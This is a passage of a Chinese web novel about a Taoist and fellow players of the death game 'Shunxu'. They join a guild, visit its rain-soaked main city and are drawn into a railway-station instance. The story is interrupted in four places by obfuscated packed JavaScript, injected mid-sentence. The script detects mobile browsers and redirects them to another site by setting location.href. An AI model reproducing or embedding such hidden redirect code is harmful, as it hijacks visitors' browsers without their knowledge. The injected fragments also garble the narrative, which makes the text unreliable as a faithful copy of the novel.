他从兜里摸出一块早上没吃完的桂花糕,递到小狐狸嘴边,弯着眼睛道,“给你的回礼。” 小狐狸眼睛瞬间亮了,叼住桂花糕欢快地摇了摇大尾巴,顺势蹲在了他身边,两只前爪扒着他的膝盖,跟他一起并肩往山下望。 一人一狐安安静静地享受着早晨的阳光,山风卷着树叶声漫过来,倒也惬意得很。 枣奶奶刚一蹿上山顶看到的就是这样的一幕景象。 晏星梧正给小狐狸撸着全身的毛毛,一人一狐玩得正开心,就听见一阵风风火火的脚步声,伴随着枣奶奶熟悉的嗓音,从山路那头传过来:“星梧呀!观里来客人找你啦!” 晏星梧一回头,就看见枣奶奶踩着山路健步如飞地跑过来,眨眼间就到了他跟前,还不忘伸手揉了揉他的头发,揉完了他又转去揉揉小狐狸。 小狐狸发出一声抗议的叫声,在晏星梧腿上翻身坐起来舔毛毛。 “枣奶奶?您怎么跑上来了?”晏星梧愣了一下,连忙伸手扶了她一把,“什么客人啊?” “我听小兰花说,是两个斯斯文文的帅小伙儿,哎呦,还提了两箱闻起来好香的礼物呢。”枣奶奶笑眯眯道,“你这孩子,你师妹还说给你打电话怎么也打不通呢。” 晏星梧摸出手机一看,果然,山顶信号太差,屏幕上躺着几个未接来电。 他无奈地笑了笑,把手机塞回兜里,又弯腰摸了摸小狐狸的脑袋,把剩下的半块桂花糕找了片干净的树叶叠放在平整的石头上:“小家伙,我先下山了,桂花糕给你放这了喔。” 小狐狸对他晃了晃大尾巴,琥珀色的眼睛里满是不舍。 晏星梧站起身,拍了拍道袍上沾着的草屑,对着枣奶奶拱了拱手,笑得露出一颗尖尖的虎牙:“多谢枣奶奶跑这一趟,回头我给您带山下新出的植物营养液回来。” “唔唔,工业饮料奶奶还是少喝为妙……记得带甜味儿的噢!”枣奶奶摇头晃脑道。 “知道啦知道啦。” 晏星梧捂嘴偷偷笑了笑,然后转身快步朝山下走去。 脚步声穿过层层树林,守一观的红墙绿瓦,已经在绿树掩映里,露出了温柔的一角。 他刚踏进道观,就看到了站在灵官殿前端详神像的两道身影。 沈临玉依旧穿着一件熨帖的真丝衬衫,金丝边眼镜架在鼻梁上,手里拎着一个礼盒,脊背挺得笔直,正面容冷静地跪拜王灵官。 他身边的柏临深穿着浅米色的针织衫,手里提着两个锦盒,看见晏星梧走过来,立刻露出了温和的笑意,朝他挥了挥手。 “晏先生,别来无恙啊。” “沈先生,柏先生,没想到你们来的这么快。”晏星梧笑着迎上去,引着两人往里走。 “正好京市的工作处理完了,离得也近,就直接过来叨扰了。” 沈临玉起身推了推眼镜,目光落在晏星梧身上,顿了顿,才开口道,“看晏先生的状态,比那时好多了,看来过程还算顺利。” “托二位的福,没什么大碍。”晏星梧笑着把人引到客房坐下,“二位远道而来,辛苦了。” 柏临深把手里的锦盒放在桌子上:“哦,对了,擅自准备了一点薄礼,这里是一些香烛和线香,也不知是否可以当作日常的香火来用。” 晏星梧看着二人手里的盒子,眼里闪过恍然大悟,“原来这就是那个很香的礼物,谢谢,费心了。” “啊,什么很香的礼物?不过它们确实闻起来味道还不错。”柏临深笑笑。 “没什么没什么。”晏星梧给两人倒了刚泡好的茶水,“尝尝我们观里自己超值的茶叶。” 沈临玉端起茶杯喝了一口,赞叹一声:“好香。” “不瞒您说,这次我们来找您,其实是有事情想要和您请教。”沈临玉说。 “别客气,二位叫我星梧就好,我们直说便是。”晏星梧边起身边说,他走到门外看到附近没有其他人,考虑了下还是把门关好了。 待晏星梧关好门重新落座,沈临玉率先开口,语气里带了些严肃:“好,星梧,我们先跟你交个底。我和我弟弟,是惊蛰社的创始人,也是瞬墟开服至今,第一批活下来的老玩家。我们进入这个游戏,已经快两年了。” 晏星梧并不意外,从牌局游戏里两人的配合和对游戏规则的熟悉程度,就能看出来,他们绝不是普通玩家。 “星梧,你还记得我们之前说过我们哥儿俩也经历过游戏与现实融合的副本吗?” 晏星梧点点头,端起茶杯抿了一口,示意他继续说下去:“记得,你说过,这种现实融合副本,应该很少见?” “何止是少见。” 柏临深在一旁轻轻叹了口气,温和的眉眼间也染上了几分后怕,“这种能锚定坐标,把现实场景直接复刻进游戏里的副本,我们只遇到过那一次,也是离死亡最近的一次。” 沈临玉接过话头讲起了那段经历:“那是前年冬天的事了,我当时手里有个很棘手的案子,那天晚上我一直忙到凌晨两点多,我弟弟在办公室外等我下班。” “就在我们要锁门一起回家的时候,整个律所被拖进了游戏。” “过程先不谈,就在我们以为要通关的时候,游戏突然触发了隐藏规则,把我和我哥单独分开,关进两间完全隔离的审讯室,给我们出了同一个选择题。”柏临深道,“它说,它可以让我脱离副本,但代价是另一个人永远留下。” “是的。”沈临玉苦笑着叹口气,又到,“我想都没想,直接拒绝了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499262|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “没错,我也一样。”柏临深笑着看向沈临玉,“我们是双胞胎,生来就一起降生到这个世界,没什么好选的。” “我们两个都选了拒绝。”沈临玉收回目光,重新看向晏星梧,“我们做出选择的瞬间,游戏系统突然疯狂报错,整个副本开始剧烈震动,我们本来以为必死无疑的时候,有两道光分别冲进了我和临深的身体里。” “副本结束时,我们获得了两种特殊异能,就像你看到的,我是水系,他是木系。” “除此之外,我们还拿到了一个特殊道具。”柏临深从随身的包里拿出了一个古朴的木盒,打开来,里面放着一块巴掌大的龟甲,龟甲上刻着完整的八卦纹路,“这是副本崩塌后意外掉落的,它能开启一个隐藏的S级副本,叫《五行归墟》,我们猜测,这个副本里,或许能找到离开游戏的秘密。” 沈临玉接过话头:“但是这个副本开启的条件极其苛刻,必须同时向龟甲注入木火土金水五种能量,才能打开副本入口。” “所以我们建立了惊蛰社。”柏临深道,“为了收集顶尖的情报,找到剩下的火土金异能者,我们用了近一年的时间,把它发展成主城第一公会。但我们几乎把主城翻了个底朝天,也只查到了零星的线索,连另外三人的影子都没摸到。” “嗯,直到我们在上一个副本中遇到了你,星梧。”沈临玉道,“如果我没猜错,你应该是火系异能,对吗?” 柏临深也跟着往前坐了坐,眼里满是期待。 晏星梧看着两人期待的目光,愣了一下,随即笑着摇了摇头,语气坦诚:“抱歉,要让二位失望了。我,并不是你们想找的火系异能者。” 沈临玉脸上的笃定瞬间僵住,手里的茶杯顿在半空,眼里满是错愕。 柏临深温和的笑意也停在脸上,下意识地反问:“……不是?怎么会?” 沈临玉推了推滑落的眼镜,暂时压下震惊,语气里的疑惑更甚:“可是你的异能,明明……” 他沉默几秒,又开口:“整个瞬墟里,除了五行属性的特殊异能,几乎所有人的异能都只和身体某一方面的属性强化和变形有关。” “我还知道一个玩家是精神力相关的异能。”柏临深道,“除此之外,没有其他了。” “嗯……是这样。”晏星梧摊手解释道,“我确实有异能,但和五行可能无关,我的异能叫道可道。” “像是我在副本里使用过的符箓、雷法、破邪超度,都是我师门传承下来的道法。说实话,我现在都没有彻底摸清到底要怎么使用我的异能,依照我参与过的副本来看,目前它好像可以把我的道法效果增强一点。” 沈临玉和柏临深对视一眼,都从对方眼里看到了茫然。 柏临深先回过神笑了笑,打破了房间里的安静:“啊哈,没关系,是我们太先入为主了。不管怎样,能认识星梧你,都是我们的运气。至少现在我们能确定,你的异能也是特殊的,或许二者有什么关联也不一定。” 沈临玉也点了点头,重新恢复了冷静:“嗯,临深说得对,不管你是不是火系异能者,我们都想邀请你加入惊蛰社。最起码,我们的目标是一致的不是吗。” 晏星梧拿起茶壶的手一顿,他不动声色地问道:“你是说……” 20. 第 20 章 晏星梧拿起茶壶的手一顿,“你是说……” 这时,客房的门被敲得咚咚作响,小师妹脆生生的喊声从门外传了进来:“师兄!星梧师兄!你在里面吗?又有人来找你啦!” 话音被打断,三人对视一眼,晏星梧起身去打开房门。 今天是什么日子,接二连三地有客前来。 正想着,一道熟悉的爽朗笑声就从门外传了过来,晏星梧打开门,岳均生的身影出现在了门口。 他穿了件休闲的黑色冲锋衣,手里拎着两个袋子,额角带着点薄汗,看见晏星梧就眼睛一亮,嘿嘿一笑:“晏道长!我来啦!” 晏星梧失笑,他当是谁,今天是什么游戏受害者联盟聚会日吗。 岳均生几步走到晏星梧面前,把手里的袋子们往桌上一放,熟稔地拍了拍晏星梧的胳膊:“我在家呆着实在无聊,想着你最近横竖应该也没什么大事,估摸着这两天我们可以该琢磨进主城的事,索性直接开车跑过来,没打扰你吧?” 话音刚落,他就看见了客房里走出来的沈临玉和柏临深,随即立刻反应过来,笑着朝两人伸出手。 “嘿,这不是惊蛰社的沈先生和柏先生吗?在这儿遇上了!我是岳均生,真没想到二位也和晏道长认识啊。” “岳先生认识我们?”沈临玉伸手和他握了握,眼里闪过一丝讶异,笑了笑,“两位要去主城吗?不如我们一起?” “好哇好哇。”岳均生眼睛更亮了,反手关上门,拉着几人重新坐下,自来熟地给自己倒了杯茶,一口灌下去,才喘着气解释,“惊蛰社什么时候招新啊沈社长,您看我和晏道长够不够格加入?” “如果岳先生和晏道长愿意来我们那里屈就,简直是再好不过了。”柏临深接话道。 晏醒悟看着眼前其乐融融的画面,笑着摇摇头入座,刚坐下,突然想起了什么,扭头询问岳均生:“对啊,刚刚怎么没想起来,均生你的异能,不也是和五行属性相关吗?” 他又扭头跟岳均生说了说刚才的情况,又说:“均生,正好你来了,不如你直接来讲吧。” 岳均生点点头,道:“这样啊。” 提到这个,岳均生脸上的笑意收了收,坐直了身体,语气也郑重了几分,终于把这件事的来龙去脉,完完整整地和盘托出。 “其实游戏最开始选定的玩家根本不是我,是墩子。” “两个多月前,游戏检测到了适配的能量波动,要把墩子拉进去当玩家,结果估计它自己也没料到,锁定的目标竟然是头活生生的大象,当场就出了故障。” “也就是卡bug的那短短几秒,墩子把玩家身份传给了我,等游戏反应过来的时候,绑定关系已经生效,最后只能把我们两个一起拉进了新手副本里。” “游戏开启以来,从来没有把动物识别成玩家的先例。”沈临玉推了推眼镜,率先开口追问,眼里带着几分探究,“你知不知道,游戏为什么会偏偏盯上墩子?” “这个我之前也纳闷儿了挺久,直到前阵子才想明白,问题可能出在这块玉佩上。” 岳均生说着从衣服里扯出挂绳,展示给几人看。 挂绳底端是一块莹润的羊脂白玉佩,上面刻着一个复杂的土黄色符号。 “就是这块玉佩。”岳均生继续道,“这是我家传的玉佩,说不上来有多少年了,我小时候总拿着玩,后来有一次我把它挂在了墩子的象牙上,后来每次使用异能的时候,它都会发热。” “这种情况,我们也是第一次遇到。”沈临玉说,“等进了主城,说不定能找到点线索。” 晏星梧道:“主城么……说起来我还没进去过呢。” 岳均生眼睛一亮,顺势拍了下大腿道:“择日不如撞日,不如现在我们就一起进主城看看?” 晏星梧看向沈临玉兄弟二人,问:“好啊,临玉和临深方便吗?” “当然方便。”沈临玉立刻点头,语气笃定,“我们这次来望道山,本来就是打算邀你一起进主城的。惊蛰社在主城有固定的据点,正好带你们熟悉一下环境。” 柏临深也笑着附和:“没错,正好也能借着这个机会,去主城的交易区和任务墙看看有没有什么新出锅的宝贝。” 决定之后,几人立刻行动起来。 晏星梧去跟师傅交代了一声,说自己和朋友们出去一会儿,晚上回来。岳均生和双胞胎兄弟俩也装作要出门的样子,在晏醒悟身边露出乖巧地笑。 几人下山钻进兄弟俩的车里,然后同事在脑海里用意识触碰出城的图标。 【传送中——】 【欢迎来到瞬墟主城。】 一阵失重感袭来,几人眼前一黑,再睁眼时,淅淅沥沥的雨声率先钻进耳朵里,小雨打在身上,扑面而来一股潮湿的气息。 眼前是一座笼罩在阴雨中的小镇,几人此时正站在镇子中央的广场上,周围是神色各异步履匆忙的玩家们。 “主城里,还会下雨啊。”晏星梧看着滴落在手心的雨滴,感慨道。 “是只会下雨。”柏林深道,“从来看不到其他天气,只有日复一日的阴雨。” “真是稀奇。”晏星梧将手插回兜里,撇撇嘴道。 “在主城里,只要不闹出人命,其余的,游戏都不会出手干预。”沈临玉说着,抬手撑开一把巨大的伞,将几人都护在了伞下,“不过大多玩家都守着不成文的规矩,不会平白无故招惹麻烦,不用太紧张。” 岳均生惊呆了:“嚯!沈社长您这把伞可真够大的。” 柏临深噗的笑出声:“每一个第一次见到这把伞的人都会这么说,是不是觉得我哥的形象跟这把伞很不符?” “嗯是,冲击感不亚于突然看到晏道长突然穿了身东北大花布。” “哦吼,好主意!那下一季度观里的统一道袍不如就选用东北大花布为材质吧……” “你冷静点啊晏道长!!” “好啦好啦快进来吧,被雨淋久了要感冒的。” 一把长了八条腿的大伞开始往惊蛰社的方向走,广场四周搭着不少临时摊位,玩家们三三两两的聚成一团在不同的摊位前挑挑拣拣。 除了连绵不绝的阴雨,这里几乎和现实世界没有什么太大的区别,只是往来的玩家脸上都带着几分谨慎,少了些尚在人间烟火中的松弛。 几人慢慢悠悠地逛了半条摆摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499263|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的街,沈临玉说:“这些是玩家们自行组织的售卖点,极小的概率能淘到好货,更多的是欺负新人初来乍到什么都不了解的黑心商家,一个普通的道具也能卖出高于正常价格的四五倍。” “是的,所以如果星梧你想要购买道具,我们更推荐去会发商行,他们号称只要有钱,就什么都能买到。”柏林深补充道。“哦对了,上次副本里遇到的陆天骄就是那里的二把手,以后应该还会见面的。” “原来如此。”晏醒悟点头道。 “前面就是惊蛰社的据点了,带你们进去认个门,以后你们自己来主城,落脚也就在此处了。” 沈临玉抬手指了指街尾的一栋三层小楼,门口挂着个不起眼的木牌,刻着“惊蛰”两个字,门口站着两个社员,看到几人过来,立刻笑着打了招呼。 小楼里布置得很简单,一楼是敞亮的大厅,摆着几张桌椅,墙上贴了主城的简易地图和游戏公告板,二楼是资料室,三楼是社员们休息的地方。 几个正在闲聊的社员看到沈临玉和柏临深,都起身问好,目光落在晏星梧和岳均生身上时,也都客气地点了点头,没多打探。 柏临深给两人拿了两本薄薄的主城指南,笑着道:“这里面记了主城的的所有地点,三楼一直为你们留着两间空房,你们随时来都能住。” 晏星梧接过指南翻了两页,笑着道了谢。 “客气什么,以后都是一起的。”沈临玉摆了摆手。 几人又在主城逛了逛,认了认各类副本的固定入口位置,并约好下个本一起组队下,就相继离开游戏。 现实中,一辆高大的越野车里,陆续出现了四个人的身影。 “好,那今天就先这样,我们到时候再约?”沈临玉道。 “好啊,各回各家吧。”岳均生道,“哦对了,二位兄弟能不能送我到高铁站?我记得是顺路的。” “放心放心,就算不顺路也送你去。”柏临深笑嘻嘻地拍着岳均生的肩膀道。 “啊那我也顺道去高铁站一趟好了,我师傅喜欢吃高铁站旁那家熏鸡,我去给她买一只。”晏星梧道。 “诶?你们不是道士吗?怎么还能吃肉啊?”柏临深惊讶问。 “我们正一道只有四种肉不吃,牛肉、狗肉、大雁肉和乌鱼肉。” “这样啊……” 几人一路说说笑笑侃大山,转眼间就到了高铁站。 “嚯,这一进一出,天都快黑了。”岳均生下车伸了个懒腰。 晏星梧推开车门下了车,活动了下手脚,看向岳均生:“均生,几点的车?” “我看看……还有一个小时。”岳均生看了眼手机道。 “哎呀,那我们还可以再聊半个小时的,反正我们也不着急回去。”柏临深道。 几人下了车,抬脚踏上石阶,正准备往高铁站旁咖啡厅的方向走。 就在此时,几人脑海里同时响起一个声音—— 【欢迎来到瞬墟的世界,副本载入中……】 【副本名称:时空高铁站。】 【副本难度:A级。】 【距离副本正式开启还有:59分钟。请稍候。】 21. 第 21 章 沈临玉错愕地扭头看其他三人:“你们,听到了吗?” “省组队道具了。”晏星梧无奈勾唇,“走吧,去看看还有没有其他玩家。” 几人走到高铁站进站口,脚刚迈进去,失重感袭来,四人再次站稳时,已经身处空无一人的高铁站候车大厅里。 挑高的穹顶,流线型的钢结构,两侧整整齐齐排着灰色的候车座椅,本该人挤人的高峰时段,此刻却空空的,只有中央空调的风声在偌大的空间里低低地转。 不远处的蜜雪冰城招牌亮着暖黄的光,循环的主题曲卡了壳,半句“你爱我我爱你”来回翻来覆去地放,远方无障碍电梯上上下下地跑,门开了又合,始终没人进出。 “这概率,这是专门逮着咱们这几只羊薅啊。”岳均生一脸生无可恋。 “蒜鸟,蒜鸟。” 晏星梧被逗笑了,随意在旁边空着的联排座椅上坐下,拍了拍身边的空位,“别嚎了,先找地方坐吧,总不能杵在大厅中间当活靶子。” 沈临玉和柏临深也跟着坐了下来,四人占了一排靠窗的位置,正好能把整个大厅的动静尽收眼底。 岳均生刚坐下,就手欠地按了按座椅旁边的充电口,果然一点电都没有,他啧了一声,往椅背上一靠,目光扫过大厅,突然顿住了,用胳膊肘轻轻碰了碰晏星梧,压低声音:“晏道长,你看那边。” 晏星梧顺着他指的方向看过去。 就在他们斜对面的军人专用候车区,单独的座椅上坐着个一身黑衣的男人。 身形挺拔硬朗,肩宽腰窄,哪怕是靠着椅背的姿势,脊背也依旧绷得笔直,一看就是常年受过专业训练的。 他坐在一个可以扫视到大半个楼层的地方,脸上没什么多余的表情,目光锐利地扫过半个大厅,看到了朝他看过来的晏星梧几人,微微颔首。 晏星梧几人回以一记颔首致意,他小声问沈临玉:“你们认识这个玩家吗?” “不认识,没有见过过这个人。”沈临玉沉吟道,“看起来很强。” “如果是第一次进游戏的玩家,那也太镇定了点。”岳均生嘀咕道。 近一小时很快过去,大厅的几个入口处,陆续有人影出现了。 最先出来的是个满脸横肉的壮汉,一米九多的身高,胳膊上纹着花臂,骂骂咧咧地从西侧检票口走出来,嘴里还在念叨着“这是什么鬼副本,老子没报名啊。” 紧接着是个穿西装的女士,头发梳得一丝不苟,推了推金丝眼镜,一脸精明地扫着四周。 然后是个戴黑框眼镜的男生,脸色惊惶。 最后是个二十来岁的小姑娘,扎着高马尾,手里攥着个磨得起皮的小本子,一进来就低头写写画画,嘴里还念念有词。 算上晏星梧四人,还有钟启鸣,不多不少,正好九个人。 【欢迎来到瞬墟的世界,副本载入完成。】 【副本名称:时空高铁站。】 【副本难度:A级。】 【参与人数:9人,已齐员。】 【这里是时空枢纽站,你的任务:找到正确的列车,或者……永远留在这里。】 播报音落下的瞬间,大厅里瞬间炸开了锅。 那个花臂壮汉啐了一口,满脸戾气地骂道:“狗游戏,距离老子下一次副本还早得很啊!莫名其妙把老子吸进来,有病吗!” 他骂骂咧咧地扫了一圈大厅,目光最终锁定了尽头那块挂着【站长办公区-非工作人员禁止入内】的指示牌,玻璃门内灯火通明,却看不到半个人影。 这种标着禁止入内的地方,风浪越大,鱼越贵。他想。 “磨磨唧唧的,老子先去探探路!敢紧结束这个莫名其妙的副本!” 壮汉骂了一句,甩开步子就往办公区冲,根本没管周围人的反应。 “哥们儿,别进去,标明禁止入内的地方最好硬闯。”晏星梧开口喊了一声。 “你小子少在这危言耸听!”壮汉回头瞪了晏星梧一眼,满脸不屑地啐了一口,“胆小鬼就乖乖在这坐着,别耽误老子发财!” 话音未落,他已经一把拽开了门,头也不回地扎了进去。 前后不到三秒,门内传来一声短促又凄厉的惨叫,随即戛然而止,一丝声息也无。 那扇被拽开的玻璃门“咔哒”一声自动合上,严丝合缝,无事发生。 整个大厅重新陷入死寂。 刚进来的戴眼镜男生吓得腿一软,直接靠在了柱子上,脸色惨白。 那个宽肩窄腰的酷哥眉头紧锁,身体先一步进入了警戒状态。 穿西装的女士推了推鼻梁上的眼镜,冷冷地扫了一眼站长办公区的方向,转身就踩着高跟鞋往商业街区的方向走去。 其他人也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499264|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆陆续续分散开来,晏星梧四人做好分组,约定两小时后在中央服务台汇合,便各自探索副本去了。 晏星梧和沈临玉往亮着灯的商业街区走,卡壳的蜜X冰城主题曲还在循环着,柜台后的店员正机械地擦着雪克杯,眼神木然。 晏星梧敲了敲柜台,递过系统自动发放的时空币,笑着开口:“您好,四杯柠檬水,少冰七分糖。” “七分?太甜了吧,其中两杯改成无糖,谢谢。” “三分吧,无糖多无趣。” 店员接过钱,转身去操作台做饮品,晏星梧状似无意地搭话:“女士,请问你在这家店干多久了?平时客人也这么少吗?” 店员手里的动作顿了顿,语气茫然得很:“快两年了?不对,好像是三年……记不清了,天天都差不多,人来人往,人少人多,不记得变没变过。” “之前有没有别的旅客,问过跟我差不多的问题?” 店员瞥了他一眼,没有回答,转身快速做好柠檬水递给他。 晏星梧道了谢接过柠檬水,转身和沈临玉往外走。 他喝了一口,啧了一声:“这绝对不是七分糖的味道,五分差不多。” “还有心思品柠檬水呢?”沈临玉说完也低头喝一口,满意地笑了。 “民以食为天。”晏醒悟摇头晃脑,故作深沉。 两人顺着商业街区往里走,两侧的店铺都亮着灯,特产店的店员站在货架前,机械地重复着摆货的动作,摆上去又拿下来。 书店店员拿下一本书唰唰几下快速翻过,又快速放下拿起另一本书,像是现实里那个号称“5分钟看完10万字”的沙雕量子速读。 晏星梧揣着兜往检票口的方向瞥了一眼,目光落在了大厅正中央悬挂的巨幅电子屏上。 屏幕本该滚动所有的车次信息,此刻却大片大片地黑着,只有最角落的一行字在反复跳动,其余的车次数字全是乱码。 “你看那屏幕。”晏星梧抬了抬下巴,“能看清那个闪烁的字符吗?” 沈临玉顺着他指的方向看去,眯起眼睛看清了那行反复跳动的字:G777次列车,发车时间5日后23:59,停靠B12号站台。 “G777次。”沈临玉重复了一遍车次,眉头微蹙,“游戏只说让我们找到正确的列车登上去,难道就是这一趟?那还有什么找的必要?” 22. 第 22 章 “游戏只说让我们找到正确的列车登上去,难道就是这一趟?如果直接给出答案,那还有什么找的必要?” 晏星梧没接话,径直迈步朝着电子屏正下方走,沈临玉立刻跟上,两人一前一后穿过空旷的候车厅,停在了巨幅屏幕的正对面。 晏星梧仔细看着屏幕上跳动的乱码,半晌才开口:“或许重点在于我们要怎么走到这趟车面前。” 他转身朝着商业街区的方向走去,沈临玉立刻跟上,两人并肩往里走,两侧的店铺十分安静,NPC们机械重复着动作。 他们走到一家特产店门口,随手拿起货架最外侧的一袋真空卤豆干,翻到背面看到保质期。 生产日期是半个月前,保质期三个月,可截止日期那一栏,居然印着七天后的日期。 晏星梧挑了挑眉,把卤豆干放回货架,又拿起旁边一盒包装精致的蛋糕,翻到背面,截止日期和卤豆干上的,居然还是同一天,七天后。 他皱皱眉,动作快速地扫过货架,把真空卤味、糕点、果干、瓶装饮料挨个拿起来翻了个遍。 沈临玉看他神色不对,也拿起两袋零食翻看,等看清所有商品的保质期截止日期,手里的动作也顿住了。 整个货架上,上百件不同品类、不同生产日期的商品,保质期截止日期,全都卡在了同一个时间——七天后。 什么意思。 “正常流通的商品,不可能出现这种情况。” 沈临玉把手里的饮料放回货架,沉默了片刻,沉声道,“七天后,应该是一个特殊的时间,或许和规则相关。” 晏星梧把手里最后一袋坚果放回原位,看向整个特产店,目光落在了店门口挂着的日历上。 日历撕到了今天这一页,往后翻,唯独七天后的那一页,被人用红笔圈了个圈。 两人思索着,却又抓不到头绪。他们继续往里走,停在了大厅中央的服务台前。 服务台后空无一人,只有台面上摆着一只半透明的亚克力意见箱,锁扣是坏的,敞着一道缝,里面隐约能看到叠着的纸张。 晏星梧伸手进去,把里面的意见单全都抽了出来。 一沓纸,七八张,笔迹各不相同,填写的日期也横跨了好几个月,大多是寥寥几行字—— “工作人员都去哪了?” “下车了离不开站台是怎么回事,来个人带我出去。” “谁来救救孩子,孩子找不着回家的路了,妈妈我好想你。” 晏星梧翻页的手突然顿住。 其中一张意见单上写的是: “不是说好开启乘车通道的吗?票上标了站台号但根本没有这个站台是啥意思?” 晏星梧把意见单按原样折好,塞回意见箱里,指尖无意识地摩挲着下巴:“乘车通道……” 两人离开服务台,顺着扶梯上了二楼的观光走廊。 这里可以俯瞰整个候车大厅的全貌,玻璃幕墙擦得一尘不染,能清晰地看到远处站台的轨道走向。 沈临玉沿着走廊往前走,目光扫过玻璃幕墙一角,脚步突然猛地顿住。 就在他玻璃幕墙旁边的金属护栏上,有人用锐器刻了一行字,笔迹清隽有力,一笔一划都带着熟悉的章法,旁边还画了一个小小的藤叶符号, ——那是他们小时候玩卧底游戏时为了为彼此留下线索而特意设计的符号,是柏临深留下的。 前面是一串方位坐标,指向地下一层的西北角,而落款处,赫然刻着昨天的日期。 沈临玉伸手抚上那行刻痕,痕迹已经有些氧化了,绝对不是刚刻上去的,显然刻了有段时间了。 “这个藤叶的标志不会造假,是我弟弟刻上去的没错。”沈临玉道。 “可是,咱们四个今天才一起进的副本,昨天根本不在这里,临深怎么会在昨天留下这行字?” 晏星梧盯着这行刻痕,脑子里飞速闪过从进副本到现在的所有细节。 这个标志只有他们兄弟俩知道,八成不会是别人的手笔,但……万一中的万一,如果是有人伪造了这些笔迹,那那个人到目的是什么?用一个昨天的日期,传递一个当下的方位线索? 更重要的是,以柏临深的性格和细致程度,绝不可能把日期刻错。 如果日期没错,那错的是什么? 两人站在观光走廊上,对着那行刻字沉默了许久,最终还是没找到合理的解释。 晏星梧拿出纸笔,把这行刻字和坐标记了下来。 这时,远处传来越来越近的脚步声。 他们看过去,一道黑色的身影抬手跟他们打了个招呼。 是那个坐在军人候车区的黑衣男人。 他走过来站定,向他们点点头,说:“在下钟启鸣,幸会。” 两人同他颔首致意,各自介绍了自己的名字。 钟启鸣脸上露出有些为难的神色,犹豫了片刻,还是又往前走了两步,离他们更近了些,小声开口问道:“你们知不知道,这里到底是个什么地方?” 晏星梧和沈临玉对视一眼,没有太明白他这句发问是具体指什么。 “这里,不是高铁站的二楼吗?”晏星梧说。 “你不觉得这个高铁站不太对劲吗。”钟启鸣看向晏星梧,眼里带着明显的困惑,“冒昧问一下,你们是怎么进来的?方便告诉我吗?” 沈临玉眼里带着探究,不动声色道:“开车到高铁站,就进来了,钟先生呢?” “你的意思是,你们是主动进来的?”钟启鸣蹙眉,眼中困惑更甚。 “钟先生又话不妨直说,我们不要猜来猜去浪费时间了,不知道你探究到了哪一步,我们可以告诉你,这个副本和时间有关。” 他思索两秒,道:“也好,那我就直接说了。” 钟启鸣深吸一口气,说:“我住在甲省乙市,今天上午刚送朋友回家进站,一转身就到了这里,周围人都不见了,还有个奇怪的声音在我脑子里说话。” “它说,欢迎来到瞬墟。” 晏星梧和沈临玉对视一眼,都从对方眼里看到了然。 这个男人从进副本开始就异常镇定,刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508228|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却问出那样奇怪的话,原来是第一次被拉进游戏的新人,难怪了。 钟启鸣继续说:“一开始,我以为是整蛊,我把整个一楼都转遍了,所有的门都出不去……后来以为是被人下药产生了幻觉,直到我坐在那里,看到了你们。” “你们好像很熟悉这里的样子,可不可以告诉我,瞬墟,到底是个什么东西?还有我们为什么要参与它所说的副本,如果通关了会怎么样,不通关又会怎么样?” 晏星梧和沈临玉看着他眼里实打实的困惑,不像是在作伪,便收了试探的心思,言简意赅地把瞬墟的规则讲了一下。 钟启鸣听得很认真,听完,他说:“我明白了。” 他深吸一口气,点了点头,“也就是说,我们现在要做的,就是继续进行副本,完成搭乘列车的任务,就能离开这里,对吗?” “是。” 钟启鸣沉思了一下,道:“谢谢你们告诉我这些,刚刚我也有一些发现。” 他引着两人退到了走廊西侧一根粗壮的承重柱后,这里是监控镜头的视觉盲区。 确认四周没有异常后,他才压着声音,把自己刚才的经历一五一十地说了出来。 “我刚才侦查过大半个地形,找到了一间监控室,和站长室不同的是,门上没有标明禁止入内,只贴了张设备维护的标识。”他说,“监控室里有一整面墙的分屏显示器,只有一个穿工作服的中年男人,他看见我进来,抄起警棍就往我头上砸,我把他打晕之后黑进了监控系统。” 通过监控系统,他注意到一件事。 分屏里,覆盖主候车大厅和商业街区的镜头,日期显示的是现在正在进行中的时间,但覆盖地下换乘通道那几个镜头,时间戳比现在早了整整二十四小时。 